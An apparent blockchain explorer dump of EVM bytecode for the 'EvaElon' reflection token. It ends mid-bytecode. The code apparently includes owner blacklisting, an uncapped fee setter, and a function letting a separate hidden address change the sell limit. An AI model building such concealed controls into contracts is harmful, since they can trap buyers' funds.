ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119495750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561199f5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b4576010548111156119b357600080fd5b5b60006119bf306108ac565b9050600e60159054906101000a900460ff16158015611a2c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a445750600e60169054906101000a900460ff165b15611a6c57611a5281611ae2565b60004790506000811115611a6a57611a6947611e4a565b5b505b505b611a79838383611f45565b505050565b6000838311158290611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd9190612ccd565b60405180910390fd5b5060008385611ad59190613066565b9050809150509392505050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b6e5781602001602082028036833780820191505090505b5090503081600081518110611bac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4e57600080fd5b505afa158015611c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c869190612723565b81600181518110611cc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d8b959493929190612e6a565b600060405180830381600087803b158015611da557600080fd5b505af1158015611db9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6000600754821115611e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1a90612d0f565b60405180910390fd5b6000611e2d611f55565b9050611e428184611f8090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e9a600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ec5573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f16600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f41573d6000803e3d6000fd5b5050565b611f50838383611fca565b505050565b6000806000611f62612195565b91509150611f798183611f8090919063ffffffff16565b9250505090565b6000611fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e2565b905092915050565b600080600080600080611fdc87612245565b95509550955095509550955061203a86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ad90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cf85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211b81612355565b6121258483612412565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121829190612e4f565b60405180910390a3505050505050505050565b60008060006007549050600060065490506121bd600654600754611f8090919063ffffffff16565b8210156121d5576007546006549350935050506121de565b81819350935050505b9091565b60008083118290612229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122209190612ccd565b60405180910390fd5b50600083856122389190612fdb565b9050809150509392505050565b60008060008060008060008060006122628a600954600a5461244c565b9250925092506000612272611f55565b905060008060006122858e8787876124e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7e565b905092915050565b60008082846123069190612f85565b90508381101561234b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234290612d6f565b60405180910390fd5b8091505092915050565b600061235f611f55565b90506000612376828461256b90919063ffffffff16565b90506123ca81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612427826007546122ad90919063ffffffff16565b600781905550612442816008546122f790919063ffffffff16565b6008819055505050565b600080600080612478606461246a888a61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124a26064612494888b61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124cb826124bd858c6122ad90919063ffffffff16565b6122ad90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124fb858961256b90919063ffffffff16565b90506000612512868961256b90919063ffffffff16565b90506000612529878961256b90919063ffffffff16565b905060006125528261254485876122ad90919063ffffffff16565b6122ad90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561257e57600090506125e0565b6000828461258c919061300c565b905082848261259b9190612fdb565b146125db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d290612d8f565b60405180910390fd5b809150505b92915050565b60006125f96125f484612f04565b612edf565b9050808382526020820190508285602086028201111561261857600080fd5b60005b85811015612648578161262e8882612652565b84526020840193506020830192505060018101905061261b565b5050509392505050565b60008135905061266181613519565b92915050565b60008151905061267681613519565b92915050565b600082601f83011261268d57600080fd5b813561269d8482602086016125e6565b91505092915050565b6000813590506126b581613530565b92915050565b6000815190506126ca81613530565b92915050565b6000813590506126df81613547565b92915050565b6000815190506126f481613547565b92915050565b60006020828403121561270c57600080fd5b600061271a84828501612652565b91505092915050565b60006020828403121561273557600080fd5b600061274384828501612667565b91505092915050565b6000806040838503121561275f57600080fd5b600061276d85828601612652565b925050602061277e85828601612652565b9150509250929050565b60008060006060848603121561279d57600080fd5b60006127ab86828701612652565b93505060206127bc86828701612652565b92505060406127cd868287016126d0565b9150509250925092565b600080604083850312156127ea57600080fd5b60006127f885828601612652565b9250506020612809858286016126d0565b9150509250929050565b60006020828403121561282557600080fd5b600082013567ffffffffffffffff81111561283f57600080fd5b61284b8482850161267c565b91505092915050565b60006020828403121561286657600080fd5b6000612874848285016126a6565b91505092915050565b60006020828403121561288f57600080fd5b600061289d848285016126bb565b91505092915050565b6000602082840312156128b857600080fd5b60006128c6848285016126d0565b91505092915050565b600080604083850312156128e257600080fd5b60006128f0858286016126d0565b9250506020612901858286016126d0565b9150509250929050565b60008060006060848603121561292057600080fd5b600061292e868287016126e5565b935050602061293f868287016126e5565b9250506040612950868287016126e5565b9150509250925092565b60006129668383612972565b60208301905092915050565b61297b8161309a565b82525050565b61298a8161309a565b82525050565b600061299b82612f40565b6129a58185612f63565b93506129b083612f30565b8060005b838110156129e15781516129c8888261295a565b97506129d383612f56565b9250506001810190506129b4565b5085935050505092915050565b6129f7816130ac565b82525050565b612a06816130ef565b82525050565b6000612a1782612f4b565b612a218185612f74565b9350612a31818560208601613101565b612a3a8161323b565b840191505092915050565b6000612a52602383612f74565b9150612a5d8261324c565b604082019050919050565b6000612a75602a83612f74565b9150612a808261329b565b604082019050919050565b6000612a98602283612f74565b9150612aa3826132ea565b604082019050919050565b6000612abb601783612f74565b9150612ac682613339565b602082019050919050565b6000612ade601b83612f74565b9150612ae982613362565b602082019050919050565b6000612b01602183612f74565b9150612b0c8261338b565b604082019050919050565b6000612b24602083612f74565b9150612b2f826133da565b602082019050919050565b6000612b47602983612f74565b9150612b5282613403565b604082019050919050565b6000612b6a602583612f74565b9150612b7582613452565b604082019050919050565b6000612b8d602483612f74565b9150612b98826134a1565b604082019050919050565b6000612bb0601883612f74565b9150612bbb826134f0565b602082019050919050565b612bcf816130d8565b82525050565b612bde816130e2565b82525050565b6000602082019050612bf96000830184612981565b92915050565b6000604082019050612c146000830185612981565b612c216020830184612981565b9392505050565b6000604082019050612c3d6000830185612981565b612c4a6020830184612bc6565b9392505050565b600060c082019050612c666000830189612981565b612c736020830188612bc6565b612c8060408301876129fd565b612c8d60608301866129fd565b612c9a6080830185612981565b612ca760a0830184612bc6565b979650505050505050565b6000602082019050612cc760008301846129ee565b92915050565b60006020820190508181036000830152612ce78184612a0c565b905092915050565b60006020820190508181036000830152612d0881612a45565b9050919050565b60006020820190508181036000830152612d2881612a68565b9050919050565b60006020820190508181036000830152612d4881612a8b565b9050919050565b60006020820190508181036000830152612d6881612aae565b9050919050565b60006020820190508181036000830152612d8881612ad1565b9050919050565b60006020820190508181036000830152612da881612af4565b9050919050565b60006020820190508181036000830152612dc881612b17565b9050919050565b60006020820190508181036000830152612de881612b3a565b9050919050565b60006020820190508181036000830152612e0881612b5d565b9050919050565b60006020820190508181036000830152612e2881612b80565b9050919050565b60006020820190508181036000830152612e4881612ba3565b9050919050565b6000602082019050612e646000830184612bc6565b92915050565b600060a082019050612e7f6000830188612bc6565b612e8c60208301876129fd565b8181036040830152612e9e8186612990565b9050612ead6060830185612981565b612eba6080830184612bc6565b9695505050505050565b6000602082019050612ed96000830184612bd5565b92915050565b6000612ee9612efa565b9050612ef58282613134565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1f57612f1e61320c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f90826130d8565b9150612f9b836130d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fd057612fcf6131ae565b5b828201905092915050565b6000612fe6826130d8565b9150612ff1836130d8565b925082613001576130006131dd565b5b828204905092915050565b6000613017826130d8565b9150613022836130d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561305b5761305a6131ae565b5b828202905092915050565b6000613071826130d8565b915061307c836130d8565b92508282101561308f5761308e6131ae565b5b828203905092915050565b60006130a5826130b8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130fa826130d8565b9050919050565b60005b8381101561311f578082015181840152602081019050613104565b8381111561312e576000848401525b50505050565b61313d8261323b565b810181811067ffffffffffffffff8211171561315c5761315b61320c565b5b80604052505050565b6000613170826130d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131a3576131a26131ae565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6135228161309a565b811461352d57600080fd5b50565b613539816130ac565b811461354457600080fd5b50565b613550816130d8565b811461355b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058bae179e47b9be8866c2ec84cf893b7a829e2e5c6e8b9adb3a2e09fbe6c407064736f6c63430008040033

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063aac3cd0311610064578063aac3cd0314610398578063b515566a146103c1578063c9567bf9146103ea578063dd62ed3e14610401578063f42938901461043e5761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d57806351bc3c85146102485780635932ead11461025f578063667f6526146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612ccd565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906127d7565b610492565b6040516101839190612cb2565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612e4f565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612788565b6104ba565b6040516101eb9190612cb2565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906126fa565b610593565b005b34801561022957600080fd5b50610232610683565b60405161023f9190612ec4565b60405180910390f35b34801561025457600080fd5b5061025d610688565b005b34801561026b57600080fd5b5061028660048036038101906102819190612854565b610702565b005b34801561029457600080fd5b506102af60048036038101906102aa91906128cf565b6107b4565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906126fa565b6108ac565b6040516102e59190612e4f565b60405180910390f35b3480156102fa57600080fd5b506103036108fd565b005b34801561031157600080fd5b5061031a610a50565b6040516103279190612be4565b60405180910390f35b34801561033c57600080fd5b50610345610a79565b6040516103529190612ccd565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906127d7565b610ab6565b60405161038f9190612cb2565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906128a6565b610ad4565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612813565b610b3f565b005b3480156103f657600080fd5b506103ff610c8f565b005b34801561040d57600080fd5b506104286004803603810190610423919061274c565b6111cd565b6040516104359190612e4f565b60405180910390f35b34801561044a57600080fd5b50610453611254565b005b60606040518060400160405280600c81526020017f457661456c6f6e546f6b656e0000000000000000000000000000000000000000815250905090565b60006104a661049f6112c6565b84846112ce565b6001905092915050565b6000600654905090565b60006104c7848484611499565b610588846104d36112c6565b6105838560405180606001604052806028815260200161355f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105396112c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a7e9092919063ffffffff16565b6112ce565b600190509392505050565b61059b6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612daf565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106c96112c6565b73ffffffffffffffffffffffffffffffffffffffff16146106e957600080fd5b60006106f4306108ac565b90506106ff81611ae2565b50565b61070a6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90612daf565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6107bc6112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612daf565b60405180910390fd5b6000821015801561085b575060008110155b61089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612e2f565b60405180910390fd5b8160098190555080600a819055505050565b60006108f6600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ddc565b9050919050565b6109056112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098990612daf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f457661456c6f6e00000000000000000000000000000000000000000000000000815250905090565b6000610aca610ac36112c6565b8484611499565b6001905092915050565b610adc6112c6565b73ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b8060108190555050565b610b476112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90612daf565b60405180910390fd5b60005b8151811015610c8b57600160046000848481518110610c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8390613165565b915050610bd7565b5050565b610c976112c6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90612daf565b60405180910390fd5b600e60149054906101000a900460ff1615610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b90612d4f565b60405180910390fd5b610da330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e439190612723565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec757600080fd5b505afa158015610edb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eff9190612723565b6040518363ffffffff1660e01b8152600401610f1c929190612bff565b602060405180830381600087803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6e9190612723565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ff7306108ac565b600080611002610a50565b426040518863ffffffff1660e01b815260040161102496959493929190612c51565b6060604051808303818588803b15801561103d57600080fd5b505af1158015611051573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611076919061290b565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611178929190612c28565b602060405180830381600087803b15801561119257600080fd5b505af11580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca919061287d565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956112c6565b73ffffffffffffffffffffffffffffffffffffffff16146112b557600080fd5b60004790506112c381611e4a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a590612d2f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161148c9190612e4f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150090612def565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157090612cef565b60405180910390fd5b600081116115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390612dcf565b60405180910390fd5b6115c4610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116325750611602610a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6e57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116db5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fd5750600e60179054906101000a900460ff165b1561189e5742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184d57600080fd5b600a4261185a9190612f85565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119495750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561199f5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b4576010548111156119b357600080fd5b5b60006119bf306108ac565b9050600e60159054906101000a900460ff16158015611a2c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a445750600e60169054906101000a900460ff165b15611a6c57611a5281611ae2565b60004790506000811115611a6a57611a6947611e4a565b5b505b505b611a79838383611f45565b505050565b6000838311158290611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd9190612ccd565b60405180910390fd5b5060008385611ad59190613066565b9050809150509392505050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b6e5781602001602082028036833780820191505090505b5090503081600081518110611bac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4e57600080fd5b505afa158015611c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c869190612723565b81600181518110611cc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d2730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ce565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d8b959493929190612e6a565b600060405180830381600087803b158015611da557600080fd5b505af1158015611db9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6000600754821115611e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1a90612d0f565b60405180910390fd5b6000611e2d611f55565b9050611e428184611f8090919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e9a600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ec5573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f16600284611f8090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f41573d6000803e3d6000fd5b5050565b611f50838383611fca565b505050565b6000806000611f62612195565b91509150611f798183611f8090919063ffffffff16565b9250505090565b6000611fc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e2565b905092915050565b600080600080600080611fdc87612245565b95509550955095509550955061203a86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ad90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120cf85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211b81612355565b6121258483612412565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121829190612e4f565b60405180910390a3505050505050505050565b60008060006007549050600060065490506121bd600654600754611f8090919063ffffffff16565b8210156121d5576007546006549350935050506121de565b81819350935050505b9091565b60008083118290612229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122209190612ccd565b60405180910390fd5b50600083856122389190612fdb565b9050809150509392505050565b60008060008060008060008060006122628a600954600a5461244c565b9250925092506000612272611f55565b905060008060006122858e8787876124e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a7e565b905092915050565b60008082846123069190612f85565b90508381101561234b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234290612d6f565b60405180910390fd5b8091505092915050565b600061235f611f55565b90506000612376828461256b90919063ffffffff16565b90506123ca81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f790919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff